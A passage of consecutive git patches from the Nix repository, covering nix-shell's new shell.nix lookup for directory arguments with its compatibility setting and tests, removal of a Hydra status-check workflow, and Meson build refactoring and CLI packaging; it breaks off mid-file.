cfe3ee3de84458a8962a6c714e602e6791666101 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 8 Jul 2024 14:36:36 +0200 Subject: [PATCH 1025/1251] `nix-shell`: look up `shell.nix` when argument is a directory (#11057) * Refactor: rename runEnv -> isNixShell * Refactor: rename left -> remainingArgs * nix-build.cc: Refactor: extract baseDir variable * nix-build.cc: Refactor: extract sourcePath, resolvedPath variables * nix-shell: Look for shell.nix when directory is specified * Add legacy setting: nix-shell-always-looks-for-shell-nix * rl-next: Add note about shell.nix lookups * tests/functional/shell.nix: Implement runHook for dummy stdenv --- .../rl-next/nix-shell-looks-for-shell-nix.md | 28 ++++++ src/libcmd/common-eval-args.cc | 7 ++ src/libcmd/common-eval-args.hh | 6 ++ src/libcmd/compatibility-settings.hh | 19 ++++ src/libcmd/meson.build | 1 + src/libexpr/eval.cc | 4 +- src/libexpr/eval.hh | 4 +- src/nix-build/nix-build.cc | 90 +++++++++++++------ tests/functional/nix-shell.sh | 53 +++++++++++ tests/functional/shell.nix | 15 ++++ 10 files changed, 198 insertions(+), 29 deletions(-) create mode 100644 doc/manual/rl-next/nix-shell-looks-for-shell-nix.md create mode 100644 src/libcmd/compatibility-settings.hh diff --git a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md new file mode 100644 index 000000000..99be4148b --- /dev/null +++ b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md @@ -0,0 +1,28 @@ +--- +synopsis: "`nix-shell ` looks for `shell.nix`" +significance: significant +issues: +- 496 +- 2279 +- 4529 +- 5431 +- 11053 +prs: +- 11057 +--- + +`nix-shell $x` now looks for `$x/shell.nix` when `$x` resolves to a directory. + +Although this might be seen as a breaking change, its primarily interactive usage makes it a minor issue. +This adjustment addresses a commonly reported problem. + +This also applies to `nix-shell` shebang scripts. Consider the following example: + +```shell +#!/usr/bin/env nix-shell +#!nix-shell -i bash +``` + +This will now load `shell.nix` from the script's directory, if it exists; `default.nix` otherwise. + +The old behavior can be opted into by setting the option [`nix-shell-always-looks-for-shell-nix`](@docroot@/command-ref/conf-file.md#conf-nix-shell-always-looks-for-shell-nix) to `false`. diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 01546f9a0..62745b681 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -11,6 +11,8 @@ #include "command.hh" #include "tarball.hh" #include "fetch-to-store.hh" +#include "compatibility-settings.hh" +#include "eval-settings.hh" namespace nix { @@ -33,6 +35,11 @@ EvalSettings evalSettings { static GlobalConfig::Register rEvalSettings(&evalSettings); +CompatibilitySettings compatibilitySettings {}; + +static GlobalConfig::Register rCompatibilitySettings(&compatibilitySettings); + + MixEvalArgs::MixEvalArgs() { addFlag({ diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 189abf0ed..8d303ee7c 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -13,6 +13,7 @@ namespace nix { class Store; class EvalState; struct EvalSettings; +struct CompatibilitySettings; class Bindings; struct SourcePath; @@ -21,6 +22,11 @@ struct SourcePath; */ extern EvalSettings evalSettings; +/** + * Settings that control behaviors that have changed since Nix 2.3. + */ +extern CompatibilitySettings compatibilitySettings; + struct MixEvalArgs : virtual Args, virtual MixRepair { static constexpr auto category = "Common evaluation options"; diff --git a/src/libcmd/compatibility-settings.hh b/src/libcmd/compatibility-settings.hh new file mode 100644 index 000000000..5dc0eaf2b --- /dev/null +++ b/src/libcmd/compatibility-settings.hh @@ -0,0 +1,19 @@ +#pragma once +#include "config.hh" + +namespace nix { +struct CompatibilitySettings : public Config +{ + + CompatibilitySettings() = default; + + Setting nixShellAlwaysLooksForShellNix{this, true, "nix-shell-always-looks-for-shell-nix", R"( + Before Nix 2.24, [`nix-shell`](@docroot@/command-ref/nix-shell.md) would only look at `shell.nix` if it was in the working directory - when no file was specified. + + Since Nix 2.24, `nix-shell` always looks for a `shell.nix`, whether that's in the working directory, or in a directory that was passed as an argument. + + You may set this to `false` to revert to the Nix 2.3 behavior. + )"}; +}; + +}; diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build index d9a90508a..2c8a9fa33 100644 --- a/src/libcmd/meson.build +++ b/src/libcmd/meson.build @@ -97,6 +97,7 @@ headers = [config_h] + files( 'command-installable-value.hh', 'command.hh', 'common-eval-args.hh', + 'compatibility-settings.hh', 'editor-for.hh', 'installable-attr-path.hh', 'installable-derived-path.hh', diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 48ed66883..2a0862123 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2650,7 +2650,7 @@ void EvalState::printStatistics() } -SourcePath resolveExprPath(SourcePath path) +SourcePath resolveExprPath(SourcePath path, bool addDefaultNix) { unsigned int followCount = 0, maxFollow = 1024; @@ -2666,7 +2666,7 @@ SourcePath resolveExprPath(SourcePath path) } /* If `path' refers to a directory, append `/default.nix'. */ - if (path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) + if (addDefaultNix && path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) return path / "default.nix"; return path; diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index b84bc9907..e45358055 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -850,8 +850,10 @@ std::string showType(const Value & v); /** * If `path` refers to a directory, then append "/default.nix". + * + * @param addDefaultNix Whether to append "/default.nix" after resolving symlinks. */ -SourcePath resolveExprPath(SourcePath path); +SourcePath resolveExprPath(SourcePath path, bool addDefaultNix = true); /** * Whether a URI is allowed, assuming restrictEval is enabled diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 57630c8c3..d37b16bdc 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -26,6 +26,7 @@ #include "legacy.hh" #include "users.hh" #include "network-proxy.hh" +#include "compatibility-settings.hh" using namespace nix; using namespace std::string_literals; @@ -90,24 +91,50 @@ static std::vector shellwords(const std::string & s) return res; } +/** + * Like `resolveExprPath`, but prefers `shell.nix` instead of `default.nix`, + * and if `path` was a directory, it checks eagerly whether `shell.nix` or + * `default.nix` exist, throwing an error if they don't. + */ +static SourcePath resolveShellExprPath(SourcePath path) +{ + auto resolvedOrDir = resolveExprPath(path, false); + if (resolvedOrDir.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) { + if ((resolvedOrDir / "shell.nix").pathExists()) { + if (compatibilitySettings.nixShellAlwaysLooksForShellNix) { + return resolvedOrDir / "shell.nix"; + } else { + warn("Skipping '%1%', because the setting '%2%' is disabled. This is a deprecated behavior. Consider enabling '%2%'.", + resolvedOrDir / "shell.nix", + "nix-shell-always-looks-for-shell-nix"); + } + } + if ((resolvedOrDir / "default.nix").pathExists()) { + return resolvedOrDir / "default.nix"; + } + throw Error("neither '%s' nor '%s' found in '%s'", "shell.nix", "default.nix", resolvedOrDir); + } + return resolvedOrDir; +} + static void main_nix_build(int argc, char * * argv) { auto dryRun = false; - auto runEnv = std::regex_search(argv[0], std::regex("nix-shell$")); + auto isNixShell = std::regex_search(argv[0], std::regex("nix-shell$")); auto pure = false; auto fromArgs = false; auto packages = false; // Same condition as bash uses for interactive shells auto interactive = isatty(STDIN_FILENO) && isatty(STDERR_FILENO); Strings attrPaths; - Strings left; + Strings remainingArgs; BuildMode buildMode = bmNormal; bool readStdin = false; std::string envCommand; // interactive shell Strings envExclude; - auto myName = runEnv ? "nix-shell" : "nix-build"; + auto myName = isNixShell ? "nix-shell" : "nix-build"; auto inShebang = false; std::string script; @@ -132,7 +159,7 @@ static void main_nix_build(int argc, char * * argv) // Heuristic to see if we're invoked as a shebang script, namely, // if we have at least one argument, it's the name of an // executable file, and it starts with "#!". - if (runEnv && argc > 1) { + if (isNixShell && argc > 1) { script = argv[1]; try { auto lines = tokenizeString(readFile(script), "\n"); @@ -186,9 +213,9 @@ static void main_nix_build(int argc, char * * argv) dryRun = true; else if (*arg == "--run-env") // obsolete - runEnv = true; + isNixShell = true; - else if (runEnv && (*arg == "--command" || *arg == "--run")) { + else if (isNixShell && (*arg == "--command" || *arg == "--run")) { if (*arg == "--run") interactive = false; envCommand = getArg(*arg, arg, end) + "\nexit"; @@ -206,7 +233,7 @@ static void main_nix_build(int argc, char * * argv) else if (*arg == "--pure") pure = true; else if (*arg == "--impure") pure = false; - else if (runEnv && (*arg == "--packages" || *arg == "-p")) + else if (isNixShell && (*arg == "--packages" || *arg == "-p")) packages = true; else if (inShebang && *arg == "-i") { @@ -246,7 +273,7 @@ static void main_nix_build(int argc, char * * argv) return false; else - left.push_back(*arg); + remainingArgs.push_back(*arg); return true; }); @@ -266,7 +293,7 @@ static void main_nix_build(int argc, char * * argv) auto autoArgs = myArgs.getAutoArgs(*state); auto autoArgsWithInNixShell = autoArgs; - if (runEnv) { + if (isNixShell) { auto newArgs = state->buildBindings(autoArgsWithInNixShell->size() + 1); newArgs.alloc("inNixShell").mkBool(true); for (auto & i : *autoArgs) newArgs.insert(i); @@ -276,19 +303,26 @@ static void main_nix_build(int argc, char * * argv) if (packages) { std::ostringstream joined; joined << "{...}@args: with import args; (pkgs.runCommandCC or pkgs.runCommand) \"shell\" { buildInputs = [ "; - for (const auto & i : left) + for (const auto & i : remainingArgs) joined << '(' << i << ") "; joined << "]; } \"\""; fromArgs = true; - left = {joined.str()}; - } else if (!fromArgs) { - if (left.empty() && runEnv && pathExists("shell.nix")) - left = {"shell.nix"}; - if (left.empty()) - left = {"default.nix"}; + remainingArgs = {joined.str()}; + } else if (!fromArgs && remainingArgs.empty()) { + if (isNixShell && !compatibilitySettings.nixShellAlwaysLooksForShellNix && std::filesystem::exists("shell.nix")) { + // If we're in 2.3 compatibility mode, we need to look for shell.nix + // now, because it won't be done later. + remainingArgs = {"shell.nix"}; + } else { + remainingArgs = {"."}; + + // Instead of letting it throw later, we throw here to give a more relevant error message + if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) + throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); + } } - if (runEnv) + if (isNixShell) setEnv("IN_NIX_SHELL", pure ? "pure" : "impure"); PackageInfos drvs; @@ -299,7 +333,7 @@ static void main_nix_build(int argc, char * * argv) if (readStdin) exprs = {state->parseStdin()}; else - for (auto i : left) { + for (auto i : remainingArgs) { if (fromArgs) exprs.push_back(state->parseExprFromString(std::move(i), state->rootPath("."))); else { @@ -310,14 +344,18 @@ static void main_nix_build(int argc, char * * argv) auto [path, outputNames] = parsePathWithOutputs(absolute); if (evalStore->isStorePath(path) && hasSuffix(path, ".drv")) drvs.push_back(PackageInfo(*state, evalStore, absolute)); - else + else { /* If we're in a #! script, interpret filenames relative to the script. */ - exprs.push_back( - state->parseExprFromFile( - resolveExprPath( - lookupFileArg(*state, - inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i)))); + auto baseDir = inShebang && !packages ? absPath(i, absPath(dirOf(script))) : i; + + auto sourcePath = lookupFileArg(*state, + baseDir); + auto resolvedPath = + isNixShell ? resolveShellExprPath(sourcePath) : resolveExprPath(sourcePath); + + exprs.push_back(state->parseExprFromFile(resolvedPath)); + } } } @@ -330,7 +368,7 @@ static void main_nix_build(int argc, char * * argv) std::function takesNixShellAttr; takesNixShellAttr = [&](const Value & v) { - if (!runEnv) { + if (!isNixShell) { return false; } bool add = false; @@ -381,7 +419,7 @@ static void main_nix_build(int argc, char * * argv) store->buildPaths(paths, buildMode, evalStore); }; - if (runEnv) { + if (isNixShell) { if (drvs.size() != 1) throw UsageError("nix-shell requires a single derivation"); diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index 2c94705de..65ff279f8 100755 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -21,6 +21,10 @@ output=$(nix-shell --pure "$shellDotNix" -A shellDrv --run \ [ "$output" = " - foo - bar - true" ] +output=$(nix-shell --pure "$shellDotNix" -A shellDrv --option nix-shell-always-looks-for-shell-nix false --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') +[ "$output" = " - foo - bar - true" ] + # Test --keep output=$(nix-shell --pure --keep SELECTED_IMPURE_VAR "$shellDotNix" -A shellDrv --run \ 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $SELECTED_IMPURE_VAR"') @@ -91,6 +95,55 @@ sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.nix > $TEST_ROOT/shell.sheba chmod a+rx $TEST_ROOT/shell.shebang.nix $TEST_ROOT/shell.shebang.nix +mkdir $TEST_ROOT/lookup-test $TEST_ROOT/empty + +echo "import $shellDotNix" > $TEST_ROOT/lookup-test/shell.nix +cp config.nix $TEST_ROOT/lookup-test/ +echo 'abort "do not load default.nix!"' > $TEST_ROOT/lookup-test/default.nix + +nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' | grepQuiet "it works" +# https://github.com/NixOS/nix/issues/4529 +nix-shell -I "testRoot=$TEST_ROOT" '' -A shellDrv --run 'echo "it works"' | grepQuiet "it works" + +expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \ + | grepQuiet -F "do not load default.nix!" # we did, because we chose to enable legacy behavior +expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \ + | grepQuiet "Skipping .*lookup-test/shell\.nix.*, because the setting .*nix-shell-always-looks-for-shell-nix.* is disabled. This is a deprecated behavior\. Consider enabling .*nix-shell-always-looks-for-shell-nix.*" + +( + cd $TEST_ROOT/empty; + expectStderr 1 nix-shell | \ + grepQuiet "error.*no argument specified and no .*shell\.nix.* or .*default\.nix.* file found in the working directory" +) + +expectStderr 1 nix-shell -I "testRoot=$TEST_ROOT" '' | + grepQuiet "error.*neither .*shell\.nix.* nor .*default\.nix.* found in .*/empty" + +cat >$TEST_ROOT/lookup-test/shebangscript < $TEST_ROOT/marco/shell.nix +cat >$TEST_ROOT/marco/polo/default.nix < Date: Mon, 8 Jul 2024 14:38:57 +0200 Subject: [PATCH 1026/1251] Remove the Hydra status check workflow I'm sick of receiving an email about this every 30 minutes. --- .github/workflows/hydra_status.yml | 20 ------------------ scripts/check-hydra-status.sh | 33 ------------------------------ 2 files changed, 53 deletions(-) delete mode 100644 .github/workflows/hydra_status.yml delete mode 100644 scripts/check-hydra-status.sh diff --git a/.github/workflows/hydra_status.yml b/.github/workflows/hydra_status.yml deleted file mode 100644 index 2a7574747..000000000 --- a/.github/workflows/hydra_status.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: Hydra status - -permissions: read-all - -on: - schedule: - - cron: "12,42 * * * *" - workflow_dispatch: - -jobs: - check_hydra_status: - name: Check Hydra status - if: github.repository_owner == 'NixOS' - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - run: bash scripts/check-hydra-status.sh - diff --git a/scripts/check-hydra-status.sh b/scripts/check-hydra-status.sh deleted file mode 100644 index e62705e94..000000000 --- a/scripts/check-hydra-status.sh +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env bash - -set -euo pipefail -# set -x - - -# mapfile BUILDS_FOR_LATEST_EVAL < <( -# curl -H 'Accept: application/json' https://hydra.nixos.org/jobset/nix/master/evals | \ -# jq -r '.evals[0].builds[] | @sh') -BUILDS_FOR_LATEST_EVAL=$( -curl -sS -H 'Accept: application/json' https://hydra.nixos.org/jobset/nix/master/evals | \ - jq -r '.evals[0].builds[]') - -someBuildFailed=0 - -for buildId in $BUILDS_FOR_LATEST_EVAL; do - buildInfo=$(curl --fail -sS -H 'Accept: application/json' "https://hydra.nixos.org/build/$buildId") - - finished=$(echo "$buildInfo" | jq -r '.finished') - - if [[ $finished = 0 ]]; then - continue - fi - - buildStatus=$(echo "$buildInfo" | jq -r '.buildstatus') - - if [[ $buildStatus != 0 ]]; then - someBuildFailed=1 - echo "Job “$(echo "$buildInfo" | jq -r '.job')” failed on hydra: $buildInfo" - fi -done - -exit "$someBuildFailed" From c5284a84f3535547aea02b296e0e10e6a7113ca4 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sun, 7 Jul 2024 14:29:28 -0400 Subject: [PATCH 1027/1251] Forgot to include `config-expr.hh` in some places --- src/libcmd/meson.build | 1 + src/libexpr/meson.build | 1 + tests/unit/libexpr/meson.build | 2 +- tests/unit/libfetchers/meson.build | 2 +- 4 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build index d9a90508a..8548bea70 100644 --- a/src/libcmd/meson.build +++ b/src/libcmd/meson.build @@ -64,6 +64,7 @@ add_project_arguments( '-include', 'config-util.hh', '-include', 'config-store.hh', # '-include', 'config-fetchers.h', + '-include', 'config-expr.hh', '-include', 'config-main.hh', '-include', 'config-cmd.hh', language : 'cpp', diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index 9fe7c17c4..3025b6da1 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -69,6 +69,7 @@ add_project_arguments( '-include', 'config-util.hh', '-include', 'config-store.hh', # '-include', 'config-fetchers.h', + '-include', 'config-expr.hh', language : 'cpp', ) diff --git a/tests/unit/libexpr/meson.build b/tests/unit/libexpr/meson.build index a7b22f7f1..ee35258cf 100644 --- a/tests/unit/libexpr/meson.build +++ b/tests/unit/libexpr/meson.build @@ -41,7 +41,7 @@ add_project_arguments( # It would be nice for our headers to be idempotent instead. '-include', 'config-util.hh', '-include', 'config-store.hh', - '-include', 'config-store.hh', + '-include', 'config-expr.hh', '-include', 'config-util.h', '-include', 'config-store.h', '-include', 'config-expr.h', diff --git a/tests/unit/libfetchers/meson.build b/tests/unit/libfetchers/meson.build index b4bc77a97..d2de93829 100644 --- a/tests/unit/libfetchers/meson.build +++ b/tests/unit/libfetchers/meson.build @@ -37,7 +37,7 @@ add_project_arguments( # It would be nice for our headers to be idempotent instead. '-include', 'config-util.hh', '-include', 'config-store.hh', - '-include', 'config-store.hh', + # '-include', 'config-fetchers.h', language : 'cpp', ) From 6e5cec292b56814541f71052ec566ebf3129ea1c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 8 Jul 2024 09:47:25 -0400 Subject: [PATCH 1028/1251] Use a meson "generator" to deduplicate `.gen.hh` creation --- build-utils-meson/generate-header/meson.build | 7 +++++++ meson.build | 3 ++- src/libexpr/meson.build | 9 +++------ src/libexpr/primops/meson.build | 11 +++-------- src/libstore/meson.build | 10 +++------- 5 files changed, 18 insertions(+), 22 deletions(-) create mode 100644 build-utils-meson/generate-header/meson.build diff --git a/build-utils-meson/generate-header/meson.build b/build-utils-meson/generate-header/meson.build new file mode 100644 index 000000000..dfbe1375f --- /dev/null +++ b/build-utils-meson/generate-header/meson.build @@ -0,0 +1,7 @@ +bash = find_program('bash', native: true) + +gen_header = generator( + bash, + arguments : [ '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ], + output : '@PLAINNAME@.gen.hh', +) diff --git a/meson.build b/meson.build index 356d978dc..f09998ab6 100644 --- a/meson.build +++ b/meson.build @@ -6,6 +6,7 @@ project('nix-dev-shell', 'cpp', subproject_dir : 'src', ) +# Internal Libraries subproject('libutil') subproject('libstore') subproject('libfetchers') @@ -18,7 +19,7 @@ subproject('libcmd') subproject('internal-api-docs') subproject('external-api-docs') -# C wrappers +# External C wrapper libraries subproject('libutil-c') subproject('libstore-c') subproject('libexpr-c') diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index 9fe7c17c4..05097c286 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -116,20 +116,17 @@ lexer_tab = custom_target( install_dir : get_option('includedir') / 'nix', ) +subdir('build-utils-meson/generate-header') + generated_headers = [] foreach header : [ 'imported-drv-to-derivation.nix', 'fetchurl.nix', 'call-flake.nix', ] - generated_headers += custom_target( - command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ], - input : header, - output : '@PLAINNAME@.gen.hh', - ) + generated_headers += gen_header.process(header) endforeach - sources = files( 'attr-path.cc', 'attr-set.cc', diff --git a/src/libexpr/primops/meson.build b/src/libexpr/primops/meson.build index 96a1dd07e..f910fe237 100644 --- a/src/libexpr/primops/meson.build +++ b/src/libexpr/primops/meson.build @@ -1,12 +1,7 @@ -foreach header : [ +generated_headers += gen_header.process( 'derivation.nix', -] - generated_headers += custom_target( - command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ], - input : header, - output : '@PLAINNAME@.gen.hh', - ) -endforeach + preserve_path_from: meson.project_source_root(), +) sources += files( 'context.cc', diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 7444cba20..5324b2a1f 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -99,18 +99,14 @@ deps_public += nlohmann_json sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19') deps_private += sqlite +subdir('build-utils-meson/generate-header') + generated_headers = [] foreach header : [ 'schema.sql', 'ca-specific-schema.sql', ] - generated_headers += custom_target( - command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ], - input : header, - output : '@PLAINNAME@.gen.hh', - install : true, - install_dir : get_option('includedir') / 'nix', - ) + generated_headers += gen_header.process(header) endforeach busybox = find_program(get_option('sandbox-shell'), required : false) From 7a6269ba7b37a31bdc4b7ec539d45adf860f5623 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 5 Jul 2024 16:21:20 -0400 Subject: [PATCH 1029/1251] Package the Nix CLI with Meson Co-Authored-By: Qyriad --- meson.build | 3 + packaging/components.nix | 3 + packaging/hydra.nix | 1 + src/nix/.version | 1 + src/nix/build-remote | 1 + src/nix/build-utils-meson | 1 + src/nix/doc | 1 + src/nix/help-stores.md | 1 + src/nix/local.mk | 21 ++--- src/nix/main.cc | 2 +- src/nix/meson.build | 170 ++++++++++++++++++++++++++++++++++++ src/nix/nix-build | 1 + src/nix/nix-channel | 1 + src/nix/nix-collect-garbage | 1 + src/nix/nix-copy-closure | 1 + src/nix/nix-env | 1 + src/nix/nix-instantiate | 1 + src/nix/nix-store | 1 + src/nix/package.nix | 129 +++++++++++++++++++++++++++ src/nix/profile.md | 2 +- src/nix/profiles.md | 1 + 21 files changed, 326 insertions(+), 18 deletions(-) create mode 120000 src/nix/.version create mode 120000 src/nix/build-remote create mode 120000 src/nix/build-utils-meson create mode 120000 src/nix/doc create mode 120000 src/nix/help-stores.md create mode 100644 src/nix/meson.build create mode 120000 src/nix/nix-build create mode 120000 src/nix/nix-channel create mode 120000 src/nix/nix-collect-garbage create mode 120000 src/nix/nix-copy-closure create mode 120000 src/nix/nix-env create mode 120000 src/nix/nix-instantiate create mode 120000 src/nix/nix-store create mode 100644 src/nix/package.nix create mode 120000 src/nix/profiles.md diff --git a/meson.build b/meson.build index f09998ab6..e6bdc2eac 100644 --- a/meson.build +++ b/meson.build @@ -15,6 +15,9 @@ subproject('libflake') subproject('libmain') subproject('libcmd') +# Executables +subproject('nix') + # Docs subproject('internal-api-docs') subproject('external-api-docs') diff --git a/packaging/components.nix b/packaging/components.nix index f1cd3b9c6..0e369a055 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -32,6 +32,9 @@ in nix-cmd = callPackage ../src/libcmd/package.nix { }; + # Will replace `nix` once the old build system is gone. + nix-ng = callPackage ../src/nix/package.nix { }; + nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { }; nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { }; diff --git a/packaging/hydra.nix b/packaging/hydra.nix index 0bbbc31f7..4dfaf9bbf 100644 --- a/packaging/hydra.nix +++ b/packaging/hydra.nix @@ -53,6 +53,7 @@ let "nix-flake-tests" "nix-main" "nix-cmd" + "nix-ng" ]; in { diff --git a/src/nix/.version b/src/nix/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/nix/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/nix/build-remote b/src/nix/build-remote new file mode 120000 index 000000000..2cea44d46 --- /dev/null +++ b/src/nix/build-remote @@ -0,0 +1 @@ +../build-remote \ No newline at end of file diff --git a/src/nix/build-utils-meson b/src/nix/build-utils-meson new file mode 120000 index 000000000..91937f183 --- /dev/null +++ b/src/nix/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson/ \ No newline at end of file diff --git a/src/nix/doc b/src/nix/doc new file mode 120000 index 000000000..7e57b0f58 --- /dev/null +++ b/src/nix/doc @@ -0,0 +1 @@ +../../doc \ No newline at end of file diff --git a/src/nix/help-stores.md b/src/nix/help-stores.md new file mode 120000 index 000000000..5c5624f5e --- /dev/null +++ b/src/nix/help-stores.md @@ -0,0 +1 @@ +../../doc/manual/src/store/types/index.md.in \ No newline at end of file diff --git a/src/nix/local.mk b/src/nix/local.mk index 4b6117330..28b30b586 100644 --- a/src/nix/local.mk +++ b/src/nix/local.mk @@ -42,27 +42,16 @@ $(eval $(call install-symlink, $(bindir)/nix, $(libexecdir)/nix/build-remote)) src/nix-env/user-env.cc: src/nix-env/buildenv.nix.gen.hh -src/nix/develop.cc: src/nix/get-env.sh.gen.hh +$(d)/develop.cc: $(d)/get-env.sh.gen.hh src/nix-channel/nix-channel.cc: src/nix-channel/unpack-channel.nix.gen.hh -src/nix/main.cc: \ +$(d)/main.cc: \ doc/manual/generate-manpage.nix.gen.hh \ doc/manual/utils.nix.gen.hh doc/manual/generate-settings.nix.gen.hh \ doc/manual/generate-store-info.nix.gen.hh \ - src/nix/generated-doc/help-stores.md + $(d)/help-stores.md.gen.hh -src/nix/generated-doc/files/%.md: doc/manual/src/command-ref/files/%.md - @mkdir -p $$(dirname $@) - @cp $< $@ +$(d)/profile.cc: $(d)/profile.md -src/nix/profile.cc: src/nix/profile.md src/nix/generated-doc/files/profiles.md.gen.hh - -src/nix/generated-doc/help-stores.md: doc/manual/src/store/types/index.md.in - @mkdir -p $$(dirname $@) - @echo 'R"(' >> $@.tmp - @echo >> $@.tmp - @cat $^ >> $@.tmp - @echo >> $@.tmp - @echo ')"' >> $@.tmp - @mv $@.tmp $@ +$(d)/profile.md: $(d)/profiles.md.gen.hh diff --git a/src/nix/main.cc b/src/nix/main.cc index de6d89bd3..c90bb25a7 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -333,7 +333,7 @@ struct CmdHelpStores : Command std::string doc() override { return - #include "generated-doc/help-stores.md" + #include "help-stores.md.gen.hh" ; } diff --git a/src/nix/meson.build b/src/nix/meson.build new file mode 100644 index 000000000..dd21c4b1b --- /dev/null +++ b/src/nix/meson.build @@ -0,0 +1,170 @@ +project('nix', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +deps_private_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-expr'), + dependency('nix-fetchers'), + dependency('nix-main'), + dependency('nix-cmd'), +] +deps_public_maybe_subproject = [ +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/export-all-symbols') + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-expr.hh', + #'-include', 'config-fetchers.hh', + '-include', 'config-main.hh', + '-include', 'config-cmd.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') +subdir('build-utils-meson/generate-header') + +nix_sources = files( + 'add-to-store.cc', + 'app.cc', + 'build.cc', + 'bundle.cc', + 'cat.cc', + 'config-check.cc', + 'config.cc', + 'copy.cc', + 'derivation-add.cc', + 'derivation-show.cc', + 'derivation.cc', + 'develop.cc', + 'diff-closures.cc', + 'dump-path.cc', + 'edit.cc', + 'env.cc', + 'eval.cc', + 'flake.cc', + 'fmt.cc', + 'hash.cc', + 'log.cc', + 'ls.cc', + 'main.cc', + 'make-content-addressed.cc', + 'nar.cc', + 'optimise-store.cc', + 'path-from-hash-part.cc', + 'path-info.cc', + 'prefetch.cc', + 'profile.cc', + 'realisation.cc', + 'registry.cc', + 'repl.cc', + 'run.cc', + 'search.cc', + 'sigs.cc', + 'store-copy-log.cc', + 'store-delete.cc', + 'store-gc.cc', + 'store-info.cc', + 'store-repair.cc', + 'store.cc', + 'unix/daemon.cc', + 'upgrade-nix.cc', + 'verify.cc', + 'why-depends.cc', +) + +nix_sources += [ + gen_header.process('doc/manual/generate-manpage.nix'), + gen_header.process('doc/manual/generate-settings.nix'), + gen_header.process('doc/manual/generate-store-info.nix'), + gen_header.process('doc/manual/utils.nix'), + gen_header.process('get-env.sh'), + gen_header.process('profiles.md'), + gen_header.process('help-stores.md'), +] + +if host_machine.system() != 'windows' + nix_sources += files( + 'unix/daemon.cc', + ) +endif + +# The rest of the 